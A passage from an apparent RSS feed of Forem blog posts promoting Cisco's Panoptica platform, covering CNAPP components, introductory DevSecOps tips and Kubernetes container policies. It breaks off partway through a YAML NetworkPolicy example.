&lt;p&gt;At first glance, all of the above components and processes may seem complex. Certainly, DevSecOps involves many moving pieces. But the CNAPP abstracts away that complexity to give you a single, unified solution that covers all your bases. By offering a streamlined approach to security, the CNAPP makes it easier for you to manage and monitor your cloud applications.&lt;/p&gt;

&lt;p&gt;CNAPPs provide you with &lt;strong&gt;early detection and remediation&lt;/strong&gt;. In many setups from traditional security teams, vulnerabilities often go unnoticed (or unaddressed) until it’s too late—either the vulnerable code has made its way to production or an attack has occurred. Early detection means your CNAPP will:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Identify security risks in the development stages of your SDLC,&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scan container images for vulnerabilities before those containers can be deployed to production,&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ensure Kubernetes cluster configurations are free of security issues,&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Monitor endpoints for any unusual activity.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Detected issuers are flagged, and the CNAPP can recommend (or even automatically implement!) remediation steps. This proactive approach of fixing problems before they escalate will significantly reduce the risk of a security breach, ultimately saving you time, money, and stress.&lt;/p&gt;

&lt;p&gt;In addition, the CNAPP gives you &lt;strong&gt;continuous monitoring and compliance&lt;/strong&gt;. Security is not just “set it and forget it.” Your CNAPP will bring 24/7 monitoring of your applications, infrastructure, and network activity. As the CNAPP maps out your entire infrastructure, it performs attack path analysis to determine—with the mindset of an attacker—where your systems are most vulnerable.&lt;/p&gt;

&lt;p&gt;There’s more to SecOps than just identifying threats. Your cloud-native security also includes maintaining compliance with industry standards and regulations (such as GDPR, HIPAA, or PCI DSS). CNAPPs monitor for compliance and also generate reports for validation and auditing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Other benefits and advantages
&lt;/h3&gt;

&lt;p&gt;Although we just covered some essential parts of DevSecOps that a CNAPP can help you address, we’ve only scratched the surface of what a CNAPP can bring. Other advantages include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Streamlined security&lt;/strong&gt;: A CNAPP serves as a single source of truth. All of your tools and components are managed, through dashboards and visualizations, in one place.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reduced tool sprawl&lt;/strong&gt;: By consolidating your security tools, you minimize gaps and vulnerabilities. And you reduce your costs by eliminating overlapping tools.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Visualizations and dashboards&lt;/strong&gt;: Real-time dashboards offer insights into your security posture, helping you make informed decisions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cost and time efficiency&lt;/strong&gt;: CNAPPs offer a cost-effective solution that saves both time and resources.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introducing Panoptica
&lt;/h2&gt;

&lt;p&gt;Panoptica stands out as a comprehensive CNAPP solution. It offers end-to-end security features, covering your application from design to development to deployment. Its ease of integration into existing DevOps tools makes it a go-to choice for organizations looking to secure their cloud-native applications.&lt;/p&gt;

&lt;p&gt;Navigating the world of DevSecOps may seem daunting, but it doesn't have to be. With the right tools like CNAPPs, and specifically Panoptica, you can secure your cloud-native applications effectively and efficiently. Take the first step in your DevSecOps journey by &lt;a href="https://panoptica.app/sign-up"&gt;&lt;u&gt;trying out Panoptica&lt;/u&gt;&lt;/a&gt; today.&lt;/p&gt;

</description>
      <category>devsecops</category>
      <category>cnapp</category>
      <category>security</category>
      <category>cloud</category>
    </item>
    <item>
      <title>Getting Started with DevSecOps: An Introduction to CNAPP</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Fri, 02 Feb 2024 05:00:00 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/getting-started-with-devsecops-an-introduction-to-cnapp-3b7b</link>
      <guid>https://forem.com/ciscoemerge/getting-started-with-devsecops-an-introduction-to-cnapp-3b7b</guid>
      <description>&lt;p&gt;Building good software is hard enough. Do you need to worry about cybersecurity too? Sadly, yes. You just finished a big refactor and migrated huge chunks of that monolith to their own microservices—nice job! But now they’re talking about detecting vulnerabilities in your third-party dependencies and making sure your logs are compliant with data protection rules. Bleh.&lt;/p&gt;

&lt;p&gt;What’s a software dev to do?&lt;/p&gt;

&lt;p&gt;Enter DevSecOps, an approach that integrates application security as a shared responsibility—adding security to your DevOps—throughout your software development life cycle (SDLC). When “shifting left” also includes security checks and practices, then release day is ho-hum uneventful. And that’s exactly what you want for your teams.&lt;/p&gt;

&lt;p&gt;Helping you with shift left security is where the cloud-native application protection platform (CNAPP) shines. &lt;a href="https://www.gartner.com/reviews/market/cloud-native-application-protection-platforms"&gt;&lt;u&gt;Gartner&lt;/u&gt;&lt;/a&gt; describes the CNAPP as a “&lt;em&gt;unified and tightly integrated set of security and compliance capabilities designed to secure and protect cloud-native applications across development and production&lt;/em&gt;.” By integrating with your continuous integration and continuous delivery (CI/CD pipelines), a CNAPP can help you find and fix vulnerabilities before they become a problem. By continuously monitoring every piece of your cloud infrastructure for performance degradation or anomalous activity, a CNAPP brings visibility across your architecture in a single, central place.&lt;/p&gt;

&lt;p&gt;A CNAPP provides the tools and practices that help you with things like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Preparation for (or complete prevention of) data breaches, zero-day vulnerabilities, and privacy violations&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Speeding up the delivery of secure applications&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lowering the cost of remediation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;… and much more.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ultimately, a CNAPP helps software developers get up and running quickly with DevSecOps practices. In this article, we’ll cover the benefits and core components of a CNAPP, along with how it helps you level up your DevSecOps game&lt;/p&gt;

&lt;h2&gt;
  
  
  What CNAPP brings to the table
&lt;/h2&gt;

&lt;p&gt;CNAPP platforms bring together lots of different technologies under a single platform, providing security tools for protection against common attack vectors. Here are some of the key benefits it brings you.&lt;/p&gt;

&lt;h3&gt;
  
  
  Holistic security
&lt;/h3&gt;

&lt;p&gt;If your security team works &lt;em&gt;reactively&lt;/em&gt;, then it probably applies individual solutions and tools for each new issue. This is a patchwork solution that doesn’t scale and likely leaves security gaps. A CNAPP, on the other hand, provides a holistic way to secure your cloud-native application and infrastructure stack (no matter if you’re running on AWS, Azure, Google Cloud, or all three!). It takes a complete life cycle approach to security.&lt;/p&gt;

&lt;p&gt;The CNAPP is a unified and tightly integrated set of security tools that provides actionable security information—for every part of your system and all in one place.&lt;/p&gt;

&lt;h3&gt;
  
  
  Single source of truth
&lt;/h3&gt;

&lt;p&gt;Cloud-native apps are always juggling different runtimes and resources, including virtual machines, containers, and serverless functions. For example, a cloud-native application could have components deployed as Kubernetes clusters, containers, and serverless functions, running on shared machines or bare metal servers.&lt;/p&gt;

&lt;p&gt;What would it look like to capture metrics from all these resources in a meaningful and useful way?&lt;/p&gt;

&lt;p&gt;A CNAPP provides an integrated solution, consolidating the security tools across &lt;em&gt;all your&lt;/em&gt; applications and environments, to centralize metrics and system data.&lt;/p&gt;

&lt;h3&gt;
  
  
  Integration with CI/CD pipelines
&lt;/h3&gt;

&lt;p&gt;Core to the DevSecOps vision is that compliance and security concerns are addressed at &lt;em&gt;every&lt;/em&gt; stage of the SDLC. That includes the development and testing phases, not just the deployment phase. CNAPPs help you do this by integrating seamlessly with your continuous integration and continuous delivery (CI/CD pipelines). You get automated artifact scanning, infrastructure as code (IaC) scanning, and cloud workload runtime protection. This will help you discover vulnerabilities early, reducing the cost of dealing with them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key components in the CNAPP architecture
&lt;/h2&gt;

&lt;p&gt;Alright, so that’s what the CNAPP will get you. But how? What are the key pieces in a CNAPP that provide you with full-stack security for your cloud-native apps?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloud Security Posture Management (CSPM)&lt;/strong&gt; is your eagle eye for detecting vulnerabilities. It helps you find and prevent misconfigurations and threats across your cloud infrastructure. These misconfigurations may be related to identity and access management (IAM) policies—such as overly permissive access or not adhering to RBAC best practices—or poor secrets management or data storage configurations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloud Workload Protection Platform (CWPP)&lt;/strong&gt; is constantly watching your cloud workloads and containers. Think Docker. Think Kubernetes. Do you have the pieces in place to monitor for threats there? Attackers can exploit an unprotected workload by launching distributed denial of service (DDoS) attacks or infecting your workload with malware or ransomware. Or maybe you have a misconfigured workload with insecure settings, open ports, or unauthenticated APIs. A hacker could exploit this to steal sensitive data, leading to privacy risks.&lt;/p&gt;

&lt;p&gt;CWP protects your workloads and helps isolate security incidents to prevent a widespread attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloud Infrastructure Entitlement Management (CIEM)&lt;/strong&gt; monitors the permissions used across your hybrid-cloud and multi-cloud environments. When entities have excessive permissions, attackers will take advantage of that vulnerability. With elevated access to critical systems, they can execute privilege escalation attacks. A CIEM tool manages cloud identities and entitlements, enforcing the principle of least privilege to reduce attack surfaces.&lt;/p&gt;

&lt;p&gt;Kubernetes Security Posture Management (KSPM) continuously monitors your Kubernetes clusters and configurations for security risks. In addition, while working with containers in your cloud-native application, you’ll depend on a CNAPP that integrates automated container image scanning for security vulnerabilities, along with runtime monitoring.&lt;/p&gt;

&lt;p&gt;Cloud Detection and Response (CDR) takes its cues from endpoint detection and response (EDR) to identify and analyze potential security threats in your cloud environments. By analyzing user activity and network traffic, CDR uses threat intelligence to bring security visibility into your cloud workloads and environments.&lt;/p&gt;

&lt;p&gt;External Attack Surface Management (EASM) helps you see the security risks to your application’s external-facing components. Of course, certain APIs, services, and endpoints are necessarily exposed in order for your cloud-native application to be effective. EASM determines the risks and illuminates potential attack paths through those components, providing you with actionable insights on how to protect them properly.&lt;/p&gt;

&lt;h2&gt;
  
  
  How CNAPPs help you level up your DevSecOps
&lt;/h2&gt;

&lt;p&gt;What does this mean for you, the software dev looking to build your DevSecOps approach?&lt;/p&gt;

&lt;h3&gt;
  
  
  Handle the complexity of security
&lt;/h3&gt;

&lt;p&gt;Cloud-native applications have so many moving parts. Containers, service meshes, microservices, APIs, etc. If you want to apply DevSecOps practices consistently across your environment, then you’ll need a single platform that consolidates all of your security tools. All of the reporting, scanning, and threat detection come from one place, reducing your alert fatigue and keeping you sane.&lt;/p&gt;

&lt;h3&gt;
  
  
  No more tool sprawl
&lt;/h3&gt;

&lt;p&gt;Have you heard of tool sprawl? It’s when a company has an IT drawer stuffed with different tools, each one meant to address a different use case—and many of them overlapping in functionality. Tool sprawl is what happens when teams take a reactive and siloed approach to security.&lt;/p&gt;

&lt;p&gt;On the other hand, if you have a proactive and holistic approach, you’ll prevent security gaps and stop wasting resources. You, and every member of your team, will finally have good visibility of your entire system. This centralized visibility is what a CNAPP helps you to achieve, without the tool sprawl.&lt;/p&gt;

&lt;h3&gt;
  
  
  Less of you making mistakes
&lt;/h3&gt;

&lt;p&gt;Do you remember when you hardcoded that API key and committed it to the repo? Or how about when you forgot to remove the debugging statements with the hash secret, and it made its way out to production?&lt;/p&gt;

&lt;p&gt;Today’s software projects are too complex to leave every nitty-gritty detail in human hands. There are just too many items on our gotcha checklist. Something is going to get missed.&lt;/p&gt;

&lt;p&gt;CNAPPs reduce the risk of human errors by automating the detection of security issues and then giving you actionable guidance to deal with those issues. You also get an audit trail for compliance and accountability purposes.&lt;/p&gt;

&lt;h2&gt;
  
  
  DevSecOps for devs made possible with Panoptica
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.panoptica.app/"&gt;&lt;u&gt;Panoptica&lt;/u&gt;&lt;/a&gt; is a comprehensive CNAPP solution for protecting your entire application stack. It offers &lt;a href="https://www.panoptica.app/solutions/attack-path-analysis"&gt;&lt;u&gt;attack path analysis&lt;/u&gt;&lt;/a&gt; to help you visualize how attackers might exploit vulnerabilities in your cloud stack. Panoptica provides CSPM, CWPP, and CIEM, all under a unified platform for simplified vulnerability management. These tools seamlessly integrate with your team's existing development and security operations, improving your incident response.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Cloud-native applications can get messy. You have countless assets and resources—and with that, countless attack vectors—that require safeguarding. The CNAPP is a vital, holistic tool to assist you in the face of those security challenges. Panoptica stands out as a robust CNAPP tool, primed to aid you in fortifying your application's security posture.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.panoptica.app/sign-up"&gt;&lt;u&gt;Try Panoptica for free&lt;/u&gt;&lt;/a&gt; or &lt;a href="https://www.panoptica.app/contact-us"&gt;&lt;u&gt;contact us&lt;/u&gt;&lt;/a&gt; if you have any inquiries.&lt;/p&gt;

</description>
      <category>devsecops</category>
      <category>cnapp</category>
      <category>cloud</category>
      <category>security</category>
    </item>
    <item>
      <title>Getting Started with DevSecOps: A Guide for Software Developers</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Fri, 05 Jan 2024 14:00:00 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/getting-started-with-devsecops-a-guide-for-software-developers-4gn3</link>
      <guid>https://forem.com/ciscoemerge/getting-started-with-devsecops-a-guide-for-software-developers-4gn3</guid>
      <description>&lt;p&gt;DevSecOps, sometimes referred to as &lt;em&gt;shift left security,&lt;/em&gt; is the&lt;br&gt;
integration of security into DevOps practices. And it’s more than just a&lt;br&gt;
buzzword. Whether you're a developer at a large enterprise or in a new&lt;br&gt;
startup, the adoption of DevSecOps practices has become essential. If&lt;br&gt;
you’re familiar with DevOps, but security is new terrain for you, then&lt;br&gt;
we’re here to help.&lt;/p&gt;

&lt;p&gt;In this post, we’ll guide you through the fundamental challenges—and&lt;br&gt;
solutions—for starting your DevSecOps journey.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why DevSecOps is challenging
&lt;/h2&gt;

&lt;p&gt;Yes, adopting DevSecOps has its fair share of challenges, especially if&lt;br&gt;
you’re not a DevSecOps engineer with formal training in security. How&lt;br&gt;
confident are you in identifying vulnerabilities—in your code and in&lt;br&gt;
your infrastructure setup? Adding on another layer of complexity, you&lt;br&gt;
need to understand &lt;em&gt;how&lt;/em&gt; attackers exploit vulnerabilities.&lt;/p&gt;

&lt;p&gt;On top of this, you’ve got a whole array of security tools, and each one&lt;br&gt;
does something different. What should your security stack look like, and&lt;br&gt;
how do you know if you’re leaving gaps?&lt;/p&gt;

&lt;p&gt;Software development moves fast, so your security measures need to be&lt;br&gt;
agile. To get you started, we recommend the following foundational tips.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tip #1: Build a security mindset
&lt;/h2&gt;

&lt;p&gt;Before we even talk about fancy tools or techniques, let’s start with…&lt;br&gt;
&lt;em&gt;you&lt;/em&gt;. How’s your security mindset? Your security mindset is the&lt;br&gt;
foundation upon which all your DevSecOps methodology will be built.&lt;br&gt;
&lt;strong&gt;You must be proactive about your security&lt;/strong&gt;. Waiting for a security&lt;br&gt;
incident to occur is not an option. Reactive measures are often too&lt;br&gt;
late. Most of the significant damage is already done.&lt;/p&gt;

&lt;p&gt;Start by &lt;strong&gt;educating yourself&lt;/strong&gt;. There are tons of online courses,&lt;br&gt;
webinars, and tutorials that can help you understand the basics of&lt;br&gt;
cybersecurity. You could even take it further to pursue cybersecurity&lt;br&gt;
certifications. This knowledge will serve you well as you navigate&lt;br&gt;
through the complexities of DevSecOps.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Peer code reviews&lt;/strong&gt; are another crucial aspect. Going beyond just&lt;br&gt;
functionality, these reviews should include a focus on potential&lt;br&gt;
security issues. This is a chance for team members to learn from each&lt;br&gt;
other and improve the overall security of your project.&lt;/p&gt;

&lt;p&gt;Create secure software by writing secure code. In addition, adopt the&lt;br&gt;
use of &lt;strong&gt;security as code (SaC)&lt;/strong&gt;. Security policies should be managed&lt;br&gt;
and versioned through control systems like Git. For example, you can use&lt;br&gt;
Terraform to create, apply, and manage IAM policies for AWS resources.&lt;br&gt;
This approach allows for better tracking, auditing, and accountability.&lt;br&gt;
Then, you can automate Terraform and other security checks—such as&lt;br&gt;
compliance scans or audits—as part of your continuous integration and&lt;br&gt;
continuous delivery practices, integrating them with your CI/CD&lt;br&gt;
pipelines.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tip #2: Think like an attacker
&lt;/h2&gt;

&lt;p&gt;If you understand your enemy, then half of your battle is won. Let's&lt;br&gt;
explore how to think like an attacker to better defend your&lt;br&gt;
applications.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Understanding the vulnerabilities&lt;/strong&gt; that attackers exploit is key to&lt;br&gt;
effective security. Get familiar with common attack vectors like SQL&lt;br&gt;
injection and CSRF. Websites like &lt;a href="https://www.hacksplaining.com/"&gt;Hacksplaining&lt;/a&gt; offer hands-on exercises to deepen your understanding of these concepts. For instance, you can &lt;a href="https://www.hacksplaining.com/exercises/sql-injection#/start"&gt;try out an SQL injection exercise&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Along with this, get to know the &lt;a href="https://owasp.org"&gt;Open Web Application Security Project (OWASP)&lt;/a&gt;, which provides a wealth of information on the latest security threats and best practices. OWASP has a top ten list of &lt;a href="https://owasp.org/www-project-top-ten/"&gt;web application security&lt;br&gt;
risks&lt;/a&gt; and another list specifically related to &lt;a href="https://owasp.org/API-Security/editions/2023/en/0x00-header/"&gt;API security&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Next, &lt;strong&gt;engage in practical exercises&lt;/strong&gt; to level up your security&lt;br&gt;
skills. Capture The Flag (CTF) challenges are an excellent way to&lt;br&gt;
understand how attackers think. These challenges simulate real-world&lt;br&gt;
scenarios where you must exploit vulnerabilities to achieve specific&lt;br&gt;
objectives.&lt;/p&gt;

&lt;p&gt;Similarly, ethical hacking or penetration testing can provide valuable&lt;br&gt;
insights into potential weaknesses in your system. These exercises allow&lt;br&gt;
you to identify and fix vulnerabilities before they can be exploited.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tip #3: Know cloud security
&lt;/h2&gt;

&lt;p&gt;Cloud computing environments have their security challenges too, so&lt;br&gt;
you’ll need to know a few key points to secure your cloud-based&lt;br&gt;
applications properly.&lt;/p&gt;

&lt;p&gt;First, consider the &lt;strong&gt;complexities of multi-cloud environments&lt;/strong&gt;. If you&lt;br&gt;
need to manage security across multiple cloud providers—like Google&lt;br&gt;
Cloud and Microsoft Azure—then you’ve got a complex task. Each provider&lt;br&gt;
has its own terms, tools, and interfaces. If you’re running&lt;br&gt;
microservices and cloud-native applications, then don’t forget to add&lt;br&gt;
Docker containers and Kubernetes into the mix. Building a unified&lt;br&gt;
security strategy in the midst of it all is a challenge.&lt;/p&gt;

&lt;p&gt;Next, cloud environments mean needing &lt;strong&gt;various security controls&lt;/strong&gt;—like&lt;br&gt;
firewalls, IAM policies, role-based access control (RBAC), security&lt;br&gt;
groups, and encryption. These controls are all wonderful and necessary,&lt;br&gt;
as they set up your defense against potential attacks and unauthorized&lt;br&gt;
access.&lt;/p&gt;

&lt;p&gt;But setting them up &lt;em&gt;correctly&lt;/em&gt; is a whole other beast. You’ll need to&lt;br&gt;
get this part right.&lt;/p&gt;

&lt;p&gt;Finally, we can’t downplay &lt;strong&gt;the importance of continuous monitoring and&lt;br&gt;
metrics&lt;/strong&gt;. These are vital for figuring out whether your security&lt;br&gt;
measures are effective and how they might be improved. Metrics provide&lt;br&gt;
real-time insight into system behavior and vulnerabilities, making it&lt;br&gt;
possible to intervene quickly when necessary.&lt;/p&gt;

&lt;h3&gt;
  
  
  AWS-specific challenges
&lt;/h3&gt;

&lt;p&gt;If you’re working with Amazon Web Services (AWS), then you have&lt;br&gt;
additional challenges to be mindful of.&lt;/p&gt;

&lt;p&gt;For example, &lt;em&gt;overprovisioning IAM roles&lt;/em&gt; can occur when permissions are&lt;br&gt;
granted too liberally. You might grant a role full administrative access&lt;br&gt;
to an AWS service when it only needs read-only access. This could&lt;br&gt;
potentially lead to unauthorized actions, either maliciously or by&lt;br&gt;
mistake. Instead, adopt the principle of least privilege: grant only the&lt;br&gt;
minimum permissions necessary to perform a task.&lt;/p&gt;

&lt;p&gt;AWS S3 &lt;em&gt;bucket misconfigurations&lt;/em&gt; are another frequent issue. An example&lt;br&gt;
would be setting an S3 bucket to public instead of private, which could&lt;br&gt;
lead to unauthorized data access or even data leaks.&lt;/p&gt;

&lt;p&gt;Role overprovisioning and bucket misconfigurations are common pitfalls,&lt;br&gt;
and they can have severe implications—such as data breaches and&lt;br&gt;
unauthorized system changes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tip #4: Use the right tools for DevSecOps
&lt;/h2&gt;

&lt;p&gt;When you’re implementing DevSecOps, having the right tools can be a game&lt;br&gt;
changer. So, choose your tools wisely. What should you keep in mind when&lt;br&gt;
you’re thinking about your security toolchain?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Time savings&lt;/strong&gt;: DevSecOps tools can save you time by automating repetitive tasks. With automation taking care of mundane tasks, you can focus on more complex issues that require human judgment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reduce mental burden&lt;/strong&gt;: The right tools reduce the mental load by handling specific security concerns. This allows you to focus on developing features and improving your application.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Avoid tool sprawl&lt;/strong&gt;: Yes, choosing the right tools is crucial—but be wary of using too many. A disparate set of tools can get messy and create gaps in your security posture.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Various types of tools can assist you in DevSecOps. These include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vulnerability scanners&lt;/li&gt;
&lt;li&gt;Infrastructure monitoring tools&lt;/li&gt;
&lt;li&gt;Infrastructure as Code (IaC) solutions&lt;/li&gt;
&lt;li&gt;Cloud workload protection platforms&lt;/li&gt;
&lt;li&gt;Static application security testing (SAST)&lt;/li&gt;
&lt;li&gt;Dynamic application security testing (DAST)&lt;/li&gt;
&lt;li&gt;… and more.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you have a security issue, there’s most likely a tool out there that&lt;br&gt;
can help you address it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In summary, DevSecOps is a critical practice that every software&lt;br&gt;
developer should adopt. The challenges are real, but they are not&lt;br&gt;
insurmountable. By building a security mindset, understanding your&lt;br&gt;
vulnerabilities, and leveraging the right tools, you can significantly&lt;br&gt;
improve your security posture.&lt;/p&gt;

&lt;p&gt;Panoptica can simplify your DevSecOps journey and make security best&lt;br&gt;
practices a part of your software development lifecycle (SDLC). It&lt;br&gt;
automates security tasks, provides a unified view of risks, and manages&lt;br&gt;
security policies effectively. It’s a comprehensive all-in-one tool that&lt;br&gt;
will get you up and running with DevSecOps quickly. When you’re ready to&lt;br&gt;
give it a try, &lt;a href="https://panoptica.app/sign-up"&gt;sign up to use Panoptica for free today!&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Kubernetes Container Policies: Enhancing Security and Efficiency</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Fri, 29 Dec 2023 14:00:00 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/kubernetes-container-policies-enhancing-security-and-efficiency-54ej</link>
      <guid>https://forem.com/ciscoemerge/kubernetes-container-policies-enhancing-security-and-efficiency-54ej</guid>
      <description>&lt;p&gt;Microservices and cloud-native apps are all the rage these days. But&lt;br&gt;
making the transition from a few containers in Docker to managing and&lt;br&gt;
scaling containerized applications can be a real headache. Enter&lt;br&gt;
Kubernetes (K8s). K8s is an open-source platform designed to take the&lt;br&gt;
stress out of managing large-scale container deployments. In simple&lt;br&gt;
terms, Kubernetes groups your application's containers into units called&lt;br&gt;
&lt;strong&gt;pods&lt;/strong&gt;. These pods make it easier to deploy and manage workloads&lt;br&gt;
across multiple machines.&lt;/p&gt;

&lt;p&gt;So then, what are K8s &lt;strong&gt;container policies&lt;/strong&gt;? They're essentially a set&lt;br&gt;
of rules that your Kubernetes pods and containers must follow. These&lt;br&gt;
rules help you keep your configurations in check, beef up security, and&lt;br&gt;
make the most out of your resources.&lt;/p&gt;

&lt;p&gt;In this article, we'll dive into why container policies are a big deal&lt;br&gt;
for the security and efficiency of your containerized apps. We'll also&lt;br&gt;
touch on how cloud-native application protection platforms (CNAPPs) can&lt;br&gt;
take your K8s security to the next level.&lt;/p&gt;
&lt;h2&gt;
  
  
  What are K8s container policies, and why should you care?
&lt;/h2&gt;

&lt;p&gt;Think of your K8s containers as cars zipping around a city. In this&lt;br&gt;
scenario, container policies are like the traffic rules of that city.&lt;br&gt;
They set the do's and don'ts for how containers behave within a&lt;br&gt;
Kubernetes cluster. Container policies define who can go where, how fast&lt;br&gt;
they can move around, and what they can carry. Without container&lt;br&gt;
policies, your K8s cluster would have chaos, filled with resource&lt;br&gt;
conflicts and security vulnerabilities.&lt;/p&gt;

&lt;p&gt;So, it's safe to say that having container policies is non-negotiable if&lt;br&gt;
you want to keep your containerized apps running smoothly.&lt;/p&gt;
&lt;h3&gt;
  
  
  Types of container policies
&lt;/h3&gt;

&lt;p&gt;What kinds of container policies are out there? Let’s break down the&lt;br&gt;
most important ones to know about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Network policies&lt;/strong&gt; control traffic flow, governing which pods can communicate. Want to keep some pods isolated? Network policies are your go-to solution.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resource quotas&lt;/strong&gt; play the role of budget managers for your K8s cluster. They set limits on CPU and memory usage within namespaces, ensuring that no single application hogs all the resources.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security policies&lt;/strong&gt; set rules on things like privilege escalation and access to host resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Why are K8s container policies a big deal?
&lt;/h2&gt;

&lt;p&gt;Alright. So, we have container policies in place. What’s the real&lt;br&gt;
impact? Let’s see.&lt;/p&gt;
&lt;h3&gt;
  
  
  Enhanced security
&lt;/h3&gt;

&lt;p&gt;In today’s cloud-native landscape, security breaches are your worst&lt;br&gt;
nightmare, and they’re a constant threat. Fortunately, container&lt;br&gt;
policies act like your personal security detail. Let’s take network&lt;br&gt;
policies, for example. Imagine a malicious container that attempts to&lt;br&gt;
extract data from another container within the cluster. A network policy&lt;br&gt;
can prevent this kind of breach by isolating containers and blocking&lt;br&gt;
access.&lt;/p&gt;
&lt;h3&gt;
  
  
  Resource optimization
&lt;/h3&gt;

&lt;p&gt;What organization wouldn’t want to save money and boost performance?&lt;br&gt;
Resource quotas help you do just that. They make sure no single pod hogs&lt;br&gt;
all the resources. The result is predictable and efficient resource&lt;br&gt;
allocation throughout your cluster, while preserving your application’s&lt;br&gt;
full functionality. With properly tuned resource quotas, you’ll get cost&lt;br&gt;
savings &lt;em&gt;and&lt;/em&gt; optimized application performance.&lt;/p&gt;
&lt;h2&gt;
  
  
  Getting started with K8s container policies
&lt;/h2&gt;

&lt;p&gt;That’s pretty good for a foundational understanding of container&lt;br&gt;
policies. Now, let’s walk through some concrete steps for how to get&lt;br&gt;
started.&lt;/p&gt;
&lt;h3&gt;
  
  
  Setting up a basic K8s cluster
&lt;/h3&gt;

&lt;p&gt;To set up a K8s cluster, you can refer to a full &lt;a href="https://www.cyberithub.com/setup-kubernetes-cluster-on-ec2-instance-using-kops/" rel="noopener noreferrer"&gt;&lt;u&gt;step-by-step&lt;br&gt;
guide&lt;/u&gt;&lt;/a&gt;&lt;br&gt;
for creating a cluster on AWS. In summary, the key steps are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Provision the AWS resources, including a virtual private cloud (VPC), EC2 instances, and security groups.&lt;/li&gt;
&lt;li&gt;Use command-line tools like &lt;code&gt;kops&lt;/code&gt; or &lt;code&gt;eksctl&lt;/code&gt; to install K8s on your EC2 instances.&lt;/li&gt;
&lt;li&gt;Configure networking components like subnets and route tables to ensure communication within your cluster.&lt;/li&gt;
&lt;li&gt;Deploy a sample pod to verify that your cluster is up and running.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Setting up clusters on other cloud providers is equally straightforward.&lt;/p&gt;
&lt;h3&gt;
  
  
  Examples of policy setup
&lt;/h3&gt;

&lt;p&gt;Here are some examples of container policy implementation.&lt;/p&gt;
&lt;h4&gt;
  
  
  Network policy
&lt;/h4&gt;

&lt;p&gt;Suppose you want to enforce a network policy that allows specific pods&lt;br&gt;
to communicate with one another. Let’s look at the following definition&lt;br&gt;
in YAML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;NetworkPolicy&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;allow-frontend-backend&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;podSelector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
